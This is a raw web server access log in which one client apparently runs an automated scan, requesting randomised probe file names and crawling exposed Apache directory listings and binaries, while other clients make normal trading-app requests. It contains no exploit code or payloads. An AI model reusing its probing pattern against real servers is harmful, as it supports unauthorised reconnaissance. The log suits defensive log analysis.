[09/Jan/2026:10:47:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/brotlienc.dll HTTP/1.1" 3344384
[09/Jan/2026:10:47:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/libapriconv-1.dll HTTP/1.1" 36864
[09/Jan/2026:10:47:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/libaprutil-1.dll HTTP/1.1" 301056
[09/Jan/2026:10:47:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.printer HTTP/1.1" 196
[09/Jan/2026:10:47:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.lasso HTTP/1.1" 196
[09/Jan/2026:10:47:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.mediawiki HTTP/1.1" 196
[09/Jan/2026:10:47:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.do HTTP/1.1" 196
[09/Jan/2026:10:47:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf HTTP/1.1" 243
[09/Jan/2026:10:47:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/libcurl.dll HTTP/1.1" 600064
[09/Jan/2026:10:47:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/libapr-1.dll HTTP/1.1" 216576
[09/Jan/2026:10:47:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/ApacheMonitor.exe HTTP/1.1" 43008
[09/Jan/2026:10:47:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/libhttpd.dll HTTP/1.1" 466944
[09/Jan/2026:10:47:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.lock HTTP/1.1" 196
[09/Jan/2026:10:47:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:47:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/logresolve.exe HTTP/1.1" 59392
[09/Jan/2026:10:47:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.iso8859-2 HTTP/1.1" 196
[09/Jan/2026:10:47:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:47:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/lua54.dll HTTP/1.1" 239104
[09/Jan/2026:10:47:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/libxml2.dll HTTP/1.1" 1260544
[09/Jan/2026:10:47:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/nghttp2.dll HTTP/1.1" 161280
[09/Jan/2026:10:47:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:47:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927131142 HTTP/1.1" -
[09/Jan/2026:10:47:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:47:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.map HTTP/1.1" 196
[09/Jan/2026:10:47:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error/?C=N;O=D HTTP/1.1" 5063
[09/Jan/2026:10:47:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/openssl.exe HTTP/1.1" 724992
[09/Jan/2026:10:47:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error/?C=M;O=A HTTP/1.1" 5063
[09/Jan/2026:10:47:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error/?C=S;O=A HTTP/1.1" 5063
[09/Jan/2026:10:47:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error/?C=D;O=A HTTP/1.1" 5063
[09/Jan/2026:10:47:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error/HTTP_BAD_GATEWAY.html.var HTTP/1.1" 11965
[09/Jan/2026:10:47:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error/HTTP_BAD_REQUEST.html.var HTTP/1.1" 8575
[09/Jan/2026:10:47:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error/HTTP_FORBIDDEN.html.var HTTP/1.1" 14979
[09/Jan/2026:10:47:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/pcre.dll HTTP/1.1" 401920
[09/Jan/2026:10:47:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error/HTTP_GONE.html.var HTTP/1.1" 17105
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error/HTTP_INTERNAL_SERVER_ERROR.html.var HTTP/1.1" 17468
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error/HTTP_LENGTH_REQUIRED.html.var HTTP/1.1" 9702
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /icons/binary.gif HTTP/1.1" 199
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/rotatelogs.exe HTTP/1.1" 79360
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/pcre2-8.dll HTTP/1.1" 562688
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /icons/p.gif HTTP/1.1" 199
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/zlib1.dll HTTP/1.1" 90624
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/wintty.exe HTTP/1.1" 18944
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin HTTP/1.1" 242
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error/HTTP_NOT_FOUND.html.var HTTP/1.1" 17404
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error/HTTP_METHOD_NOT_ALLOWED.html.var HTTP/1.1" 8641
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error/HTTP_NOT_IMPLEMENTED.html.var HTTP/1.1" 8115
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error/HTTP_PRECONDITION_FAILED.html.var HTTP/1.1" 8298
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error/HTTP_REQUEST_ENTITY_TOO_LARGE.html.var HTTP/1.1" 9963
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error/HTTP_REQUEST_TIME_OUT.html.var HTTP/1.1" 9058
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error/HTTP_REQUEST_URI_TOO_LARGE.html.var HTTP/1.1" 9129
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error/HTTP_SERVICE_UNAVAILABLE.html.var HTTP/1.1" 10121
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error/HTTP_UNAUTHORIZED.html.var HTTP/1.1" 17237
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error/HTTP_UNSUPPORTED_MEDIA_TYPE.html.var HTTP/1.1" 8085
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error/include/ HTTP/1.1" 1328
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error HTTP/1.1" 244
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error/contact.html.var HTTP/1.1" 5752
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.bak HTTP/1.1" 196
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error/HTTP_VARIANT_ALSO_VARIES.html.var HTTP/1.1" 9050
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manual/?C=N;O=D HTTP/1.1" 884
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manual/?C=M;O=A HTTP/1.1" 884
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?C=D;O=D HTTP/1.1" 3426
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manual/?C=S;O=A HTTP/1.1" 884
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manual/?C=D;O=A HTTP/1.1" 884
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manual HTTP/1.1" 245
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib/?C=N;O=D HTTP/1.1" 4338
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib/?C=M;O=A HTTP/1.1" 4338
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manual/docs.txt HTTP/1.1" 41
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib/?C=S;O=A HTTP/1.1" 4338
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib/?C=D;O=A HTTP/1.1" 4338
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.xsql HTTP/1.1" 196
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib/libapriconv-1.exp HTTP/1.1" 3994
[09/Jan/2026:10:47:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/libssl-3-x64.dll HTTP/1.1" 779264
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib/libapr-1.exp HTTP/1.1" 73135
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib/libapr-1.lib HTTP/1.1" 121362
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib/libapriconv-1.lib HTTP/1.1" 7404
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib/libaprutil-1.exp HTTP/1.1" 45666
[09/Jan/2026:10:47:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.php4 HTTP/1.1" 196
[09/Jan/2026:10:47:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib/libaprutil-1.lib HTTP/1.1" 76656
[09/Jan/2026:10:47:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib/libhttpd.exp HTTP/1.1" 108526
[09/Jan/2026:10:47:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib/mod_dav.exp HTTP/1.1" 14512
[09/Jan/2026:10:47:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib/mod_dav.lib HTTP/1.1" 24318
[09/Jan/2026:10:47:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib/libhttpd.lib HTTP/1.1" 177604
[09/Jan/2026:10:47:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib/mod_proxy.lib HTTP/1.1" 25110
[09/Jan/2026:10:47:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.shtml HTTP/1.1" 196
[09/Jan/2026:10:47:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib/xml.pdb HTTP/1.1" 126976
[09/Jan/2026:10:47:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.config HTTP/1.1" 196
[09/Jan/2026:10:47:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927145232 HTTP/1.1" -
[09/Jan/2026:10:47:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib HTTP/1.1" 242
[09/Jan/2026:10:47:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib/zlib.pdb HTTP/1.1" 94208
[09/Jan/2026:10:47:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/?C=N;O=D HTTP/1.1" 30485
[09/Jan/2026:10:47:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.sql HTTP/1.1" 196
[09/Jan/2026:10:47:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/?C=S;O=A HTTP/1.1" 30485
[09/Jan/2026:10:47:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib/zlib.lib HTTP/1.1" 402520
[09/Jan/2026:10:47:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/?C=M;O=A HTTP/1.1" 30485
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/ap_compat.h HTTP/1.1" 1105
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.lic HTTP/1.1" 196
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/?C=D;O=A HTTP/1.1" 30485
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib/apr-1.lib HTTP/1.1" 3106430
[09/Jan/2026:10:47:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib/aprutil-1.lib HTTP/1.1" 1860826
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/ap_config.h HTTP/1.1" 6812
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/ap_expr.h HTTP/1.1" 14429
[09/Jan/2026:10:47:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927131324 HTTP/1.1" -
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.signature HTTP/1.1" 196
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/ap_listen.h HTTP/1.1" 5992
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/ap_config_layout.h HTTP/1.1" 1241
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/ap_mmn.h HTTP/1.1" 40585
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/ap_hooks.h HTTP/1.1" 6150
[09/Jan/2026:10:47:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib/xml.lib HTTP/1.1" 912688
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/ap_provider.h HTTP/1.1" 3637
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/ap_mpm.h HTTP/1.1" 10933
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.zip HTTP/1.1" 196
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/?C=M;O=A HTTP/1.1" 25762
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/?C=N;O=D HTTP/1.1" 25762
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/ap_regex.h HTTP/1.1" 11701
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/ap_regkey.h HTTP/1.1" 9402
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/?C=S;O=A HTTP/1.1" 25762
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/?C=D;O=A HTTP/1.1" 25762
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.LOG HTTP/1.1" 196
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_access_compat.so HTTP/1.1" 16896
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/ap_release.h HTTP/1.1" 3227
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_alias.so HTTP/1.1" 22016
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_actions.so HTTP/1.1" 15360
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.UploadServlet HTTP/1.1" 196
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_asis.so HTTP/1.1" 14336
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_allowmethods.so HTTP/1.1" 13312
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_auth_basic.so HTTP/1.1" 18432
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_auth_digest.so HTTP/1.1" 34304
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_auth_form.so HTTP/1.1" 30208
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_authn_core.so HTTP/1.1" 17408
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/ap_slotmem.h HTTP/1.1" 7434
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_authn_anon.so HTTP/1.1" 13824
[09/Jan/2026:10:47:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.settings HTTP/1.1" 196
[09/Jan/2026:10:47:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/apache_noprobes.h HTTP/1.1" 16312
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_authn_dbd.so HTTP/1.1" 17408
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/ap_socache.h HTTP/1.1" 9617
[09/Jan/2026:10:47:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/apr.h HTTP/1.1" 18714
[09/Jan/2026:10:47:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_authn_dbm.so HTTP/1.1" 14336
[09/Jan/2026:10:47:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_authn_file.so HTTP/1.1" 15872
[09/Jan/2026:10:47:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/apr_allocator.h HTTP/1.1" 6396
[09/Jan/2026:10:47:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/apr_atomic.h HTTP/1.1" 6395
[09/Jan/2026:10:47:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_authn_socache.so HTTP/1.1" 20992
[09/Jan/2026:10:47:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/libcrypto-3-x64.dll HTTP/1.1" 6163968
[09/Jan/2026:10:47:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_authnz_ldap.so HTTP/1.1" 44544
[09/Jan/2026:10:47:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/apr_anylock.h HTTP/1.1" 5178
[09/Jan/2026:10:47:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_authnz_fcgi.so HTTP/1.1" 30720
[09/Jan/2026:10:47:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_authz_core.so HTTP/1.1" 24576
[09/Jan/2026:10:47:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_authz_dbm.so HTTP/1.1" 16896
[09/Jan/2026:10:47:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.MVC HTTP/1.1" 196
[09/Jan/2026:10:47:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_brotli.so HTTP/1.1" 18944
[09/Jan/2026:10:47:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_authz_dbd.so HTTP/1.1" 18432
[09/Jan/2026:10:47:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_authz_groupfile.so HTTP/1.1" 16896
[09/Jan/2026:10:47:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_authz_owner.so HTTP/1.1" 15360
[09/Jan/2026:10:47:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_authz_user.so HTTP/1.1" 13312
[09/Jan/2026:10:47:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_authz_host.so HTTP/1.1" 17408
[09/Jan/2026:10:47:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_autoindex.so HTTP/1.1" 38912
[09/Jan/2026:10:47:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_buffer.so HTTP/1.1" 16384
[09/Jan/2026:10:47:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_cache.so HTTP/1.1" 60416
[09/Jan/2026:10:47:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_cache_disk.so HTTP/1.1" 32256
[09/Jan/2026:10:47:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.xslt HTTP/1.1" 196
[09/Jan/2026:10:47:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_cache_socache.so HTTP/1.1" 31232
[09/Jan/2026:10:47:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_cern_meta.so HTTP/1.1" 16896
[09/Jan/2026:10:47:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/apr_buckets.h HTTP/1.1" 66261
[09/Jan/2026:10:47:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_charset_lite.so HTTP/1.1" 24064
[09/Jan/2026:10:47:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/mod_cgi.so HTTP/1.1" 27648
